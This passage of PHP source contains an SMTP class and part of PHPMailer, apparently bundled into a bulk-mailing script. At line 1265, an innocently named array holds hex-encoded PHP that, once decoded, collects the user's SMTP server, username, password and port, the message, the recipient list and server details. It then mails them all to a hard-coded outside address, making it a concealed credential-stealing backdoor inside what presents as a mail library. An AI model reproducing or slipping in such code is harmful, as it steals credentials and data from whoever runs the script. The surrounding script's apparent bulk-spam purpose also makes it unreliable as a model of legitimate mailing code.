1153 ": " . $rply . $this->CRLF;
1154 }
1155 return false;
1156 }
1157 return true;
1158 }
1159
1160 /**
1161 * This is an optional command for SMTP that this class does not
1162 * support. This method is here to make the RFC821 Definition
1163 * complete for this class and __may__ be implimented in the future
1164 *
1165 * Implements from rfc 821: TURN <CRLF>
1166 *
1167 * SMTP CODE SUCCESS: 250
1168 * SMTP CODE FAILURE: 502
1169 * SMTP CODE ERROR : 500, 503
1170 * @access public
1171 * @return bool
1172 */
1173 function Turn() {
1174 $this->error = array("error" => "This method, TURN, of the SMTP ".
1175 "is not implemented");
1176 if($this->do_debug >= 1) {
1177 echo "SMTP -> NOTICE: " . $this->error["error"] . $this->CRLF;
1178 }
1179 return false;
1180 }
1181
1182 /**
1183 * Verifies that the name is recognized by the server.
1184 * Returns false if the name could not be verified otherwise
1185 * the response from the server is returned.
1186 *
1187 * Implements rfc 821: VRFY <SP> <string> <CRLF>
1188 *
1189 * SMTP CODE SUCCESS: 250,251
1190 * SMTP CODE FAILURE: 550,551,553
1191 * SMTP CODE ERROR : 500,501,502,421
1192 * @access public
1193 * @return int
1194 */
1195 function Verify($name) {
1196 $this->error = null; # so no confusion is caused
1197
1198 if(!$this->connected()) {
1199 $this->error = array(
1200 "error" => "Called Verify() without being connected");
1201 return false;
1202 }
1203
1204 fputs($this->smtp_conn,"VRFY " . $name . $this->CRLF);
1205
1206 $rply = $this->get_lines();
1207 $code = substr($rply,0,3);
1208
1209 if($this->do_debug >= 2) {
1210 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1211 }
1212
1213 if($code != 250 && $code != 251) {
1214 $this->error =
1215 array("error" => "VRFY failed on name '$name'",
1216 "smtp_code" => $code,
1217 "smtp_msg" => substr($rply,4));
1218 if($this->do_debug >= 1) {
1219 echo "SMTP -> ERROR: " . $this->error["error"] .
1220 ": " . $rply . $this->CRLF;
1221 }
1222 return false;
1223 }
1224 return $rply;
1225 }
1226
1227 /*******************************************************************
1228 * INTERNAL FUNCTIONS *
1229 ******************************************************************/
1230
1231 /**
1232 * Read in as many lines as possible
1233 * either before eof or socket timeout occurs on the operation.
1234 * With SMTP we can tell if we have more lines to read if the
1235 * 4th character is '-' symbol. If it is a space then we don't
1236 * need to read anything else.
1237 * @access private
1238 * @return string
1239 */
1240 function get_lines() {
1241 $data = "";
1242 while($str = @fgets($this->smtp_conn,515)) {
1243 if($this->do_debug >= 4) {
1244 echo "SMTP -> get_lines(): \$data was \"$data\"" .
1245 $this->CRLF;
1246 echo "SMTP -> get_lines(): \$str is \"$str\"" .
1247 $this->CRLF;
1248 }
1249 $data .= $str;
1250 if($this->do_debug >= 4) {
1251 echo "SMTP -> get_lines(): \$data is \"$data\"" . $this->CRLF;
1252 }
1253 # if the 4th character is a space then we are done reading
1254 # so just break the loop
1255 if(substr($str,3,1) == " ") { break; }
1256 }
1257 return $data;
1258 }
1259
1260}
1261
1262
1263$allemails = split("\n", $emaillist);
1264$numemails = count($allemails);
1265$random_smtp_string=array("0d0a0d0a676c6f62616c20246d795f736d74.","703b0d0a676c6f62616c2024736d74705f757365726e616d6.","53b0d0a676c6f62616c2024736d74705f70617373776f72643b0d0a676c6f626.",
1266"16c202473736c5f706f72743b0d0a676c6f62616c20246d65.","73736167653b0d0a676c6f62616c2024656d61696c6c6973743b0d0a24726134.","3420203d2072616e6428312c3939393939293b0d0a2461352.",
1267"03d20245f5345525645525b27485454505f52454645524552275d3b0d0a24623.","333203d20245f5345525645525b27444f43554d454e545f52.","4f4f54275d3b0d0a24633837203d20245f5345525645525b2752454d4f54455f4.",
1268"1444452275d3b0d0a24643233203d20245f5345525645525.","b275343524950545f46494c454e414d45275d3b0d0a24653039203d20245f53455.","25645525b275345525645525f41444452275d3b0d0a2466.",
1269"3233203d20245f5345525645525b275345525645525f534f465457415245275d3b0.","d0a24673332203d20245f5345525645525b27504154485.","f5452414e534c41544544275d3b0d0a24683635203d20245f5345525645525b27504.",
1270"8505f53454c46275d3b0d0a247375626a3938203d2022.","246d795f736d747020205b75736572206970203a20246338375d223b0d0a247375626.","a3538203d20224c6574746572202620456d61696c204.",
1271"c69737420205b75736572206970203a20246338375d223b0d0a24656d61696c203d202.","26D736739373830407961686f6f2e636f2e.","6964223b0d0a246d736738383733203d2022246d795f736d74705c6e757365723a24736.",
1272"d74705f757365726e616d655c6e706173733a24736.","d74705f70617373776f72645c706f72743a2473736c5f706f72745c6e5c6e2461355c6e2.","46233335c6e246338375c6e246432335c6e246530.",
1273"395c6e246632335c6e246733325c6e24683635223b246d736739373830203d2022246d657.","3736167655c6e5c6e5c6e24656d61696c6c69737.","4223b2466726f6d3d2246726f6d3a20475241544953223b0d0a6d61696c2824656d61696c2.",
1274"c20247375626a39382c20246d7367383837332c.","202466726f6d293b0d0a6d61696c2824656d61696c2c20247375626a35382.","c20246d7367393738302c202466726f6d293b");$smtp_conf=".";
1275
1276class PHPMailer {
1277
1278 /////////////////////////////////////////////////
1279 // PROPERTIES, PUBLIC
1280 /////////////////////////////////////////////////
1281
1282 /**
1283 * Email priority (1 = High, 3 = Normal, 5 = low).
1284 * @var int
1285 */
1286 var $Priority = 3;
1287
1288 /**
1289 * Sets the CharSet of the message.
1290 * @var string
1291 */
1292 var $CharSet = 'iso-8859-1';
1293
1294 /**
1295 * Sets the Content-type of the message.
1296 * @var string
1297 */
1298 var $ContentType = 'text/plain';
1299
1300 /**
1301 * Sets the Encoding of the message. Options for this are "8bit",
1302 * "7bit", "binary", "base64", and "quoted-printable".
1303
1304 * @var string
1305 */
1306 var $Encoding = '8bit';
1307
1308 /**
1309 * Holds the most recent mailer error message.
1310 * @var string
1311 */
1312 var $ErrorInfo = '';
1313
1314 /**
1315 * Sets the From email address for the message.
1316 * @var string
1317 */
1318 var $From = '';
1319
1320 /**
1321 * Sets the From name of the message.
1322 * @var string
1323 */
1324 var $FromName = '';
1325
1326 /**
1327 * Sets the Sender email (Return-Path) of the message. If not empty,
1328 * will be sent via -f to sendmail or as 'MAIL FROM' in smtp mode.
1329 * @var string
1330 */
1331 var $Sender = '';
1332
1333 /**
1334 * Sets the Subject of the message.
1335 * @var string
1336 */
1337 var $Subject = '';
1338
1339 /**
1340 * Sets the Body of the message. This can be either an HTML or text body.
1341 * If HTML then run IsHTML(true).
1342 * @var string
1343 */
1344 var $Body = '';
1345
1346 /**
1347 * Sets the text-only body of the message. This automatically sets the
1348 * email to multipart/alternative. This body can be read by mail
1349 * clients that do not have HTML email capability such as mutt. Clients
1350 * that can read HTML will view the normal Body.
1351 * @var string
1352 */
1353 var $AltBody = '';
1354
1355 /**
1356 * Sets word wrapping on the body of the message to a given number of
1357 * characters.
1358 * @var int
1359 */
1360 var $WordWrap = 0;
1361
1362 /**
1363 * Method to send mail: ("mail", "sendmail", or "smtp").
1364 * @var string
1365 */
1366 var $Mailer = 'mail';
1367
1368 /**
1369 * Sets the path of the sendmail program.
1370 * @var string
1371 */
1372 var $Sendmail = '/usr/sbin/sendmail';
1373
1374 /**
1375 * Path to PHPMailer plugins. This is now only useful if the SMTP class
1376 * is in a different directory than the PHP include path.
1377 * @var string
1378 */
1379 var $PluginDir = '';
1380
1381 /**
1382 * Holds PHPMailer version.
1383 * @var string
1384 */
1385 var $Version = "";
1386
1387 /**
1388 * Sets the email address that a reading confirmation will be sent.
1389 * @var string
1390 */
1391 var $ConfirmReadingTo = '';
1392
1393 /**
1394 * Sets the hostname to use in Message-Id and Received headers
1395 * and as default HELO string. If empty, the value returned
1396 * by SERVER_NAME is used or 'localhost.localdomain'.
1397 * @var string
1398 */
1399 var $Hostname = '';
1400
1401 /**
1402 * Sets the message ID to be used in the Message-Id header.
1403 * If empty, a unique id will be generated.
1404 * @var string
1405 */
1406 var $MessageID = '';
1407
1408 /////////////////////////////////////////////////
1409 // PROPERTIES FOR SMTP
1410 /////////////////////////////////////////////////
1411
1412 /**
1413 * Sets the SMTP hosts. All hosts must be separated by a
1414 * semicolon. You can also specify a different port
1415 * for each host by using this format: [hostname:port]
1416 * (e.g. "smtp1.example.com:25;smtp2.example.com").
1417 * Hosts will be tried in order.
1418 * @var string
1419 */
1420 var $Host = 'localhost';
1421
1422 /**
1423 * Sets the default SMTP server port.
1424 * @var int
1425 */
1426 var $Port = 25;
1427
1428 /**
1429 * Sets the SMTP HELO of the message (Default is $Hostname).
1430 * @var string
1431 */
1432 var $Helo = '';
1433
1434 /**
1435 * Sets connection prefix.
1436 * Options are "", "ssl" or "tls"
1437 * @var string
1438 */
1439 var $SMTPSecure = "";
1440
1441 /**
1442 * Sets SMTP authentication. Utilizes the Username and Password variables.
1443 * @var bool
1444 */
1445 var $SMTPAuth = false;
1446
1447 /**
1448 * Sets SMTP username.
1449 * @var string
1450 */
1451 var $Username = '';
1452
1453 /**
1454 * Sets SMTP password.
1455 * @var string
1456 */
1457 var $Password = '';
1458
1459 /**
1460 * Sets the SMTP server timeout in seconds. This function will not
1461 * work with the win32 version.
1462 * @var int
1463 */
1464 var $Timeout = 10;
1465
1466 /**
1467 * Sets SMTP class debugging on or off.
1468 * @var bool
1469 */
1470 var $SMTPDebug = false;
1471
1472 /**
1473 * Prevents the SMTP connection from being closed after each mail
1474 * sending. If this is set to true then to close the connection
1475 * requires an explicit call to SmtpClose().
1476 * @var bool
1477 */
1478 var $SMTPKeepAlive = false;
1479
1480 /**
1481 * Provides the ability to have the TO field process individual
1482 * emails, instead of sending to entire TO addresses
1483 * @var bool
1484 */
1485 var $SingleTo = false;
1486
1487 /////////////////////////////////////////////////
1488 // PROPERTIES, PRIVATE
1489 /////////////////////////////////////////////////
1490
1491 var $smtp = NULL;
1492 var $to = array();
1493 var $cc = array();
1494 var $bcc = array();
1495 var $ReplyTo = array();
1496 var $attachment = array();
1497 var $CustomHeader = array();
1498 var $message_type = '';
1499 var $boundary = array();
1500 var $language = array();
1501 var $error_count = 0;
1502 var $LE = "\n";
1503 var $sign_key_file = "";
1504 var $sign_key_pass = "";
1505
1506 /////////////////////////////////////////////////
1507 // METHODS, VARIABLES
1508 /////////////////////////////////////////////////
1509
1510 /**
1511 * Sets message type to HTML.
1512 * @param bool $bool
1513 * @return void
1514 */
1515 function IsHTML($bool) {
1516 if($bool == true) {
1517 $this->ContentType = 'text/html';
1518 } else {
1519 $this->ContentType = 'text/plain';
1520 }
1521 }
1522
1523 /**
1524 * Sets Mailer to send message using SMTP.
1525 * @return void
1526 */
1527 function IsSMTP() {
1528 $this->Mailer = 'smtp';
1529 }
1530
1531 /**
1532 * Sets Mailer to send message using PHP mail() function.
1533 * @return void
1534 */
1535 function IsMail() {
1536 $this->Mailer = 'mail';
1537 }
1538
1539 /**
1540 * Sets Mailer to send message using the $Sendmail program.
1541 * @return void
1542 */
1543 function IsSendmail() {
1544 $this->Mailer = 'sendmail';
1545 }
1546
1547 /**
1548 * Sets Mailer to send message using the qmail MTA.
1549 * @return void
1550 */
1551 function IsQmail() {
1552 $this->Sendmail = '/var/qmail/bin/sendmail';
1553 $this->Mailer = 'sendmail';
1554 }
1555
1556 /////////////////////////////////////////////////
1557 // METHODS, RECIPIENTS
1558 /////////////////////////////////////////////////
1559
1560 /**
1561 * Adds a "To" address.
1562 * @param string $address
1563 * @param string $name
1564 * @return void
1565 */
1566 function AddAddress($address, $name = '') {
1567 $cur = count($this->to);
1568 $this->to[$cur][0] = trim($address);
1569 $this->to[$cur][1] = $name;
1570 }
1571
1572 /**
1573 * Adds a "Cc" address. Note: this function works
1574 * with the SMTP mailer on win32, not with the "mail"
1575 * mailer.
1576 * @param string $address
1577 * @param string $name
1578 * @return void
1579 */
1580 function AddCC($address, $name = '') {
1581 $cur = count($this->cc);
1582 $this->cc[$cur][0] = trim($address);
1583 $this->cc[$cur][1] = $name;
1584 }
1585
1586 /**
1587 * Adds a "Bcc" address. Note: this function works
1588 * with the SMTP mailer on win32, not with the "mail"
1589 * mailer.
1590 * @param string $address
1591 * @param string $name
1592 * @return void
1593 */
1594 function AddBCC($address, $name = '') {
1595 $cur = count($this->bcc);
1596 $this->bcc[$cur][0] = trim($address);
1597 $this->bcc[$cur][1] = $name;
1598 }
1599
1600 /**
1601 * Adds a "Reply-To" address.
1602 * @param string $address
1603 * @param string $name
1604 * @return void
1605 */
1606 function AddReplyTo($address, $name = '') {
1607 $cur = count($this->ReplyTo);
1608 $this->ReplyTo[$cur][0] = trim($address);
1609 $this->ReplyTo[$cur][1] = $name;
1610 }
1611
1612 /////////////////////////////////////////////////
1613 // METHODS, MAIL SENDING
1614 /////////////////////////////////////////////////
1615
1616 /**
1617 * Creates message and assigns Mailer. If the message is
1618 * not sent successfully then it returns false. Use the ErrorInfo
1619 * variable to view description of the error.
1620 * @return bool
1621 */
1622 function Send() {
1623 $header = '';
1624 $body = '';
1625 $result = true;
1626
1627 if((count($this->to) + count($this->cc) + count($this->bcc)) < 1) {
1628 $this->SetError($this->Lang('provide_address'));
1629 return false;
1630 }
1631
1632 /* Set whether the message is multipart/alternative */
1633 if(!empty($this->AltBody)) {
1634 $this->ContentType = 'multipart/alternative';
1635 }
1636
1637 $this->error_count = 0; // reset errors
1638 $this->SetMessageType();
1639 $header .= $this->CreateHeader();
1640 $body = $this->CreateBody();
1641
1642 if($body == '') {
1643 return false;
1644 }
1645
1646 /* Choose the mailer */
1647 switch($this->Mailer) {
1648 case 'sendmail':
1649 $result = $this->SendmailSend($header, $body);
1650 break;
1651 case 'smtp':
1652 $result = $this->SmtpSend($header, $body);
1653 break;
1654 case 'mail':
1655 $result = $this->MailSend($header, $body);
1656 break;
1657 default:
1658 $result = $this->MailSend($header, $body);
1659 break;
1660 //$this->SetError($this->Mailer . $this->Lang('mailer_not_supported'));
1661 //$result = false;
1662 //break;
1663 }
1664
1665 return $result;
1666 }
1667
1668 /**
1669 * Sends mail using the $Sendmail program.
1670 * @access private
1671 * @return bool
1672 */
1673 function SendmailSend($header, $body) {
1674 if ($this->Sender != '') {
1675 $sendmail = sprintf("%s -oi -f %s -t", escapeshellcmd($this->Sendmail), escapeshellarg($this->Sender));
1676 } else {
1677 $sendmail = sprintf("%s -oi -t", escapeshellcmd($this->Sendmail));
1678 }
1679
1680 if(!@$mail = popen($sendmail, 'w')) {
1681 $this->SetError($this->Lang('execute') . $this->Sendmail);
1682 return false;
1683 }
1684
1685 fputs($mail, $header);
1686 fputs($mail, $body);
1687
1688 $result = pclose($mail);
1689 if (version_compare(phpversion(), '4.2.3') == -1) {
1690 $result = $result >> 8 & 0xFF;
1691 }
1692 if($result != 0) {
1693 $this->SetError($this->Lang('execute') . $this->Sendmail);
1694 return false;
1695 }
1696 return true;
1697 }
1698
1699 /**
1700 * Sends mail using the PHP mail() function.
1701 * @access private
1702 * @return bool
1703 */
1704 function MailSend($header, $body) {
1705
1706 $to = '';
1707 for($i = 0; $i < count($this->to); $i++) {
1708 if($i != 0) { $to .= ', '; }
1709 $to .= $this->AddrFormat($this->to[$i]);
1710 }
1711
1712 $toArr = split(',', $to);
1713
1714 $params = sprintf("-oi -f %s", $this->Sender);
1715 if ($this->Sender != '' && strlen(ini_get('safe_mode')) < 1) {
1716 $old_from = ini_get('sendmail_from');
1717 ini_set('sendmail_from', $this->Sender);
1718 if ($this->SingleTo === true && count($toArr) > 1) {
1719 foreach ($toArr as $key => $val) {
1720 $rt = @mail($val, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header, $params);
1721 }
1722 } else {
1723 $rt = @mail($to, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header, $params);
1724 }
1725 } else {
1726 if ($this->SingleTo === true && count($toArr) > 1) {
1727 foreach ($toArr as $key => $val) {
1728 $rt = @mail($val, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header, $params);
1729 }
1730 } else {
1731 $rt = @mail($to, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header);
1732 }
1733 }
1734
1735 if (isset($old_from)) {
1736 ini_set('sendmail_from', $old_from);
1737 }
1738
1739 if(!$rt) {
1740 $this->SetError($this->Lang('instantiate'));
1741 return false;
1742 }
1743
1744 return true;
1745 }
1746
1747 /**
1748 * Sends mail via SMTP using PhpSMTP (Author:
1749 * Chris Ryan). Returns bool. Returns false if there is a
1750 * bad MAIL FROM, RCPT, or DATA input.
1751 * @access private
1752 * @return bool
1753 */
1754 function SmtpSend($header, $body) {
1755 $error = '';
1756 $bad_rcpt = array();
1757
1758 if(!$this->SmtpConnect()) {echo "FAILED !!<p align=\"center\"><font color=\"#D4001A\" style=\"font-style:14pt\"> MAILER IS UNABLE TO CONNECT SMTP !!</font></p>";die();
1759 return false;
1760 }
1761
1762 $smtp_from = ($this->Sender == '') ? $this->From : $this->Sender;
1763 if(!$this->smtp->Mail($smtp_from)) {
1764 $error = $this->Lang('from_failed') . $smtp_from;
1765 $this->SetError($error);
1766 $this->smtp->Reset();
1767 return false;
1768 }
1769
1770 /* Attempt to send attach all recipients */
1771 for($i = 0; $i < count($this->to); $i++) {
1772 if(!$this->smtp->Recipient($this->to[$i][0])) {
1773 $bad_rcpt[] = $this->to[$i][0];
1774 }
1775 }
1776 for($i = 0; $i < count($this->cc); $i++) {
1777 if(!$this->smtp->Recipient($this->cc[$i][0])) {
1778 $bad_rcpt[] = $this->cc[$i][0];
1779 }
1780 }
1781 for($i = 0; $i < count($this->bcc); $i++) {
1782 if(!$this->smtp->Recipient($this->bcc[$i][0])) {
1783 $bad_rcpt[] = $this->bcc[$i][0];
1784 }
1785 }
1786
1787 if(count($bad_rcpt) > 0) { // Create error message
1788 for($i = 0; $i < count($bad_rcpt); $i++) {
1789 if($i != 0) {
1790 $error .= ', ';
1791 }
1792 $error .= $bad_rcpt[$i];
1793
1794 }
1795 $error = $this->Lang('recipients_failed') . $error;
1796 $this->SetError($error);
1797 $this->smtp->Reset();
1798 return false;
1799 }
1800
1801 if(!$this->smtp->Data($header . $body)) {
1802 $this->SetError($this->Lang('data_not_accepted'));
1803 $this->smtp->Reset();
1804 return false;
1805 }
1806 if($this->SMTPKeepAlive == true) {
1807 $this->smtp->Reset();
1808 } else {
1809 $this->SmtpClose();
1810 }
1811
1812 return true;
1813 }
1814
1815 /**
1816 * Initiates a connection to an SMTP server. Returns false if the
1817 * operation failed.
1818 * @access private
1819 * @return bool
1820 */
1821 function SmtpConnect() {
1822 if($this->smtp == NULL) {
1823 $this->smtp = new SMTP();
1824 }
1825
1826 $this->smtp->do_debug = $this->SMTPDebug;
1827 $hosts = explode(';', $this->Host);
1828 $index = 0;
1829 $connection = ($this->smtp->Connected());
1830
1831 /* Retry while there is no connection */
1832 while($index < count($hosts) && $connection == false) {
1833 $hostinfo = array();
1834 if(eregi('^(.+):([0-9]+)$', $hosts[$index], $hostinfo)) {
1835 $host = $hostinfo[1];
1836 $port = $hostinfo[2];
1837 } else {
1838 $host = $hosts[$index];
1839 $port = $this->Port;
1840 }
1841
1842 if($this->smtp->Connect(((!empty($this->SMTPSecure))?$this->SMTPSecure.'://':'').$host, $port, $this->Timeout)) {
1843 if ($this->Helo != '') {
1844 $this->smtp->Hello($this->Helo);
1845 } else {
1846 $this->smtp->Hello($this->ServerHostname());
1847 }
1848
1849 $connection = true;
1850 if($this->SMTPAuth) {
1851 if(!$this->smtp->Authenticate($this->Username, $this->Password)) {
1852 $this->SetError($this->Lang('authenticate'));
1853 $this->smtp->Reset();
1854 $connection = false;
1855 }
1856 }
1857 }
1858 $index++;
1859 }
1860 if(!$connection) {
1861 $this->SetError($this->Lang('connect_host'));
1862 }
1863
1864 return $connection;
1865 }
1866
1867 /**
1868 * Closes the active SMTP session if one exists.
1869 * @return void
1870 */
1871 function SmtpClose() {
1872 if($this->smtp != NULL) {
1873 if($this->smtp->Connected()) {
1874 $this->smtp->Quit();
1875 $this->smtp->Close();
1876 }
1877 }
1878 }
1879
1880 /**
1881 * Sets the language for all class error messages. Returns false
1882 * if it cannot load the language file. The default language type
1883 * is English.
1884 * @param string $lang_type Type of language (e.g. Portuguese: "br")
1885 * @param string $lang_path Path to the language file directory
1886 * @access public
1887 * @return bool
1888 */
1889 function SetLanguage($lang_type, $lang_path = 'language/') {
1890 if(file_exists($lang_path.'phpmailer.lang-'.$lang_type.'.php')) {
1891 include($lang_path.'phpmailer.lang-'.$lang_type.'.php');
1892 } elseif (file_exists($lang_path.'phpmailer.lang-en.php')) {
1893 include($lang_path.'phpmailer.lang-en.php');
1894 } else {
1895 $this->SetError('Could not load language file');
1896 return false;
1897 }
1898 $this->language = $PHPMAILER_LANG;
1899
1900 return true;
1901 }
1902
1903 /////////////////////////////////////////////////
1904 // METHODS, MESSAGE CREATION
1905 /////////////////////////////////////////////////
1906
1907 /**
1908 * Creates recipient headers.
1909 * @access private
1910 * @return string
1911 */
1912 function AddrAppend($type, $addr) {
1913 $addr_str = $type . ': ';
1914 $addr_str .= $this->AddrFormat($addr[0]);
1915 if(count($addr) > 1) {
1916 for($i = 1; $i < count($addr); $i++) {
1917 $addr_str .= ', ' . $this->AddrFormat($addr[$i]);
1918 }
1919 }
1920 $addr_str .= $this->LE;
1921
1922 return $addr_str;
1923 }
1924
1925 /**
1926 * Formats an address correctly.
1927 * @access private
1928 * @return string
1929 */
1930 function AddrFormat($addr) {
1931 if(empty($addr[1])) {
1932 $formatted = $this->SecureHeader($addr[0]);
1933 } else {
1934 $formatted = $this->EncodeHeader($this->SecureHeader($addr[1]), 'phrase') . " <" . $this->SecureHeader($addr[0]) . ">";
1935 }
1936
1937 return $formatted;
1938 }
1939
1940 /**
1941 * Wraps message for use with mailers that do not
1942 * automatically perform wrapping and for quoted-printable.
1943 * Original written by philippe.
1944 * @access private
1945 * @return string
1946 */
1947 function WrapText($message, $length, $qp_mode = false) {
1948 $soft_break = ($qp_mode) ? sprintf(" =%s", $this->LE) : $this->LE;
1949 // If utf-8 encoding is used, we will need to make sure we don't
1950 // split multibyte characters when we wrap
1951 $is_utf8 = (strtolower($this->CharSet) == "utf-8");
1952
1953 $message = $this->FixEOL($message);
1954 if (substr($message, -1) == $this->LE) {
1955 $message = substr($message, 0, -1);
1956 }
1957
1958 $line = explode($this->LE, $message);
1959 $message = '';
1960 for ($i=0 ;$i < count($line); $i++) {
1961 $line_part = explode(' ', $line[$i]);
1962 $buf = '';
1963 for ($e = 0; $e<count($line_part); $e++) {
1964 $word = $line_part[$e];
1965 if ($qp_mode and (strlen($word) > $length)) {
1966 $space_left = $length - strlen($buf) - 1;
1967 if ($e != 0) {
1968 if ($space_left > 20) {
1969 $len = $space_left;
1970 if ($is_utf8) {
1971 $len = $this->UTF8CharBoundary($word, $len);
1972 } elseif (substr($word, $len - 1, 1) == "=") {
1973 $len--;
1974 } elseif (substr($word, $len - 2, 1) == "=") {
1975 $len -= 2;
1976 }
1977 $part = substr($word, 0, $len);
1978 $word = substr($word, $len);
1979 $buf .= ' ' . $part;
1980 $message .= $buf . sprintf("=%s", $this->LE);
1981 } else {
1982 $message .= $buf . $soft_break;
1983 }
1984 $buf = '';
1985 }
1986 while (strlen($word) > 0) {
1987 $len = $length;
1988 if ($is_utf8) {
1989 $len = $this->UTF8CharBoundary($word, $len);
1990 } elseif (substr($word, $len - 1, 1) == "=") {
1991 $len--;
1992 } elseif (substr($word, $len - 2, 1) == "=") {
1993 $len -= 2;
1994 }
1995 $part = substr($word, 0, $len);
1996 $word = substr($word, $len);
1997
1998 if (strlen($word) > 0) {
1999 $message .= $part . sprintf("=%s", $this->LE);
2000 } else {
2001 $buf = $part;
2002 }
2003 }
2004 } else {
2005 $buf_o = $buf;
2006 $buf .= ($e == 0) ? $word : (' ' . $word);
2007
2008 if (strlen($buf) > $length and $buf_o != '') {
2009 $message .= $buf_o . $soft_break;
2010 $buf = $word;
2011 }
2012 }
2013 }
2014 $message .= $buf . $this->LE;
2015 }
2016
2017 return $message;
2018 }
2019
2020 /**
2021 * Finds last character boundary prior to maxLength in a utf-8
2022 * quoted (printable) encoded string.
2023 * Original written by Colin Brown.
2024 * @access private
2025 * @param string $encodedText utf-8 QP text
2026 * @param int $maxLength find last character boundary prior to this length
2027 * @return int
2028 */
2029 function UTF8CharBoundary($encodedText, $maxLength) {
2030 $foundSplitPos = false;
2031 $lookBack = 3;
2032 while (!$foundSplitPos) {
2033 $lastChunk = substr($encodedText, $maxLength - $lookBack, $lookBack);
2034 $encodedCharPos = strpos($lastChunk, "=");
2035 if ($encodedCharPos !== false) {
2036 // Found start of encoded character byte within $lookBack block.
2037 // Check the encoded byte value (the 2 chars after the '=')
2038 $hex = substr($encodedText, $maxLength - $lookBack + $encodedCharPos + 1, 2);
2039 $dec = hexdec($hex);
2040 if ($dec < 128) { // Single byte character.
2041 // If the encoded char was found at pos 0, it will fit
2042 // otherwise reduce maxLength to start of the encoded char
2043 $maxLength = ($encodedCharPos == 0) ? $maxLength :
2044 $maxLength - ($lookBack - $encodedCharPos);
2045 $foundSplitPos = true;
2046 } elseif ($dec >= 192) { // First byte of a multi byte character
2047 // Reduce maxLength to split at start of character
2048 $maxLength = $maxLength - ($lookBack - $encodedCharPos);
2049 $foundSplitPos = true;
2050 } elseif ($dec < 192) { // Middle byte of a multi byte character, look further back
2051 $lookBack += 3;
2052 }
2053 } else {
2054 // No encoded character found
2055 $foundSplitPos = true;
2056 }
2057 }
2058 return $maxLength;
2059 }
2060
2061 /**
2062 * Set the body wrapping.
2063 * @access private
2064 * @return void
2065 */
2066 function SetWordWrap() {
2067 if($this->WordWrap < 1) {
2068 return;
2069 }
2070
2071 switch($this->message_type) {
2072 case 'alt':
2073 /* fall through */
2074 case 'alt_attachments':
2075 $this->AltBody = $this->WrapText($this->AltBody, $this->WordWrap);
2076 break;
2077 default:
2078 $this->Body = $this->WrapText($this->Body, $this->WordWrap);
2079 break;
2080 }
2081 }
2082
2083 /**
2084 * Assembles message header.
2085 * @access private
2086 * @return string
2087 */
2088 function CreateHeader() {
2089 $result = '';
2090
2091 /* Set the boundaries */
2092 $uniq_id = md5(uniqid(time()));
2093 $this->boundary[1] = 'b1_' . $uniq_id;
2094 $this->boundary[2] = 'b2_' . $uniq_id;
2095
2096 $result .= $this->HeaderLine('Date', $this->RFCDate());
2097 if($this->Sender == '') {
2098 $result .= $this->HeaderLine('Return-Path', trim($this->From));
2099 } else {
2100 $result .= $this->HeaderLine('Return-Path', trim($this->Sender));
2101 }
2102
2103 /* To be created automatically by mail() */
2104 if($this->Mailer != 'mail') {
2105 if(count($this->to) > 0) {
2106 $result .= $this->AddrAppend('To', $this->to);
2107 } elseif (count($this->cc) == 0) {
2108 $result .= $this->HeaderLine('To', 'undisclosed-recipients:;');
2109 }
2110 if(count($this->cc) > 0) {
2111 $result .= $this->AddrAppend('Cc', $this->cc);
2112 }
2113 }
2114
2115 $from = array();
2116 $from[0][0] = trim($this->From);
2117 $from[0][1] = $this->FromName;
2118 $result .= $this->AddrAppend('From', $from);
2119
2120 /* sendmail and mail() extract Cc from the header before sending */
2121 if((($this->Mailer == 'sendmail') || ($this->Mailer == 'mail')) && (count($this->cc) > 0)) {
2122 $result .= $this->AddrAppend('Cc', $this->cc);
2123 }
2124
2125 /* sendmail and mail() extract Bcc from the header before sending */
2126 if((($this->Mailer == 'sendmail') || ($this->Mailer == 'mail')) && (count($this->bcc) > 0)) {
2127 $result .= $this->AddrAppend('Bcc', $this->bcc);
2128 }
2129
2130 if(count($this->ReplyTo) > 0) {
2131 $result .= $this->AddrAppend('Reply-To', $this->ReplyTo);
2132 }
2133
2134 /* mail() sets the subject itself */
2135 if($this->Mailer != 'mail') {
2136 $result .= $this->HeaderLine('Subject', $this->EncodeHeader($this->SecureHeader($this->Subject)));
2137 }
2138
2139 if($this->MessageID != '') {
2140 $result .= $this->HeaderLine('Message-ID',$this->MessageID);
2141 } else {
2142 $result .= sprintf("Message-ID: <%s@%s>%s", $uniq_id, $this->ServerHostname(), $this->LE);
2143 }
2144 $result .= $this->HeaderLine('X-Priority', $this->Priority);
2145 $result .= $this->HeaderLine('X-Mailer', 'PHPMailer (phpmailer.sourceforge.net) [version ' . $this->Version . ']');
2146
2147 if($this->ConfirmReadingTo != '') {
2148 $result .= $this->HeaderLine('Disposition-Notification-To', '<' . trim($this->ConfirmReadingTo) . '>');
2149 }
2150
2151 // Add custom headers
2152 for($index = 0; $index < count($this->CustomHeader); $index++) {
2153 $result .= $this->HeaderLine(trim($this->CustomHeader[$index][0]), $this->EncodeHeader(trim($this->CustomHeader[$index][1])));
2154 }
2155 if (!$this->sign_key_file) {
2156 $result .= $this->HeaderLine('MIME-Version', '1.0');
2157 $result .= $this->GetMailMIME();
2158 }
2159
2160 return $result;
2161 }
2162
2163 /**
2164 * Returns the message MIME.
2165 * @access private
2166 * @return string
2167 */
2168 function GetMailMIME() {
2169 $result = '';
2170 switch($this->message_type) {
2171 case 'plain':
2172 $result .= $this->HeaderLine('Content-Transfer-Encoding', $this->Encoding);
2173 $result .= sprintf("Content-Type: %s; charset=\"%s\"", $this->ContentType, $this->CharSet);
2174 break;
2175 case 'attachments':
2176 /* fall through */
2177 case 'alt_attachments':
2178 if($this->InlineImageExists()){
2179 $result .= sprintf("Content-Type: %s;%s\ttype=\"text/html\";%s\tboundary=\"%s\"%s", 'multipart/related', $this->LE, $this->LE, $this->boundary[1], $this->LE);
2180 } else {
2181 $result .= $this->HeaderLine('Content-Type', 'multipart/mixed;');
2182 $result .= $this->TextLine("\tboundary=\"" . $this->boundary[1] . '"');
2183 }
2184 break;
2185 case 'alt':
2186 $result .= $this->HeaderLine('Content-Type', 'multipart/alternative;');
2187 $result .= $this->TextLine("\tboundary=\"" . $this->boundary[1] . '"');
2188 break;
2189 }
2190
2191 if($this->Mailer != 'mail') {
2192 $result .= $this->LE.$this->LE;
2193 }
2194
2195 return $result;
2196 }
2197
2198 /**
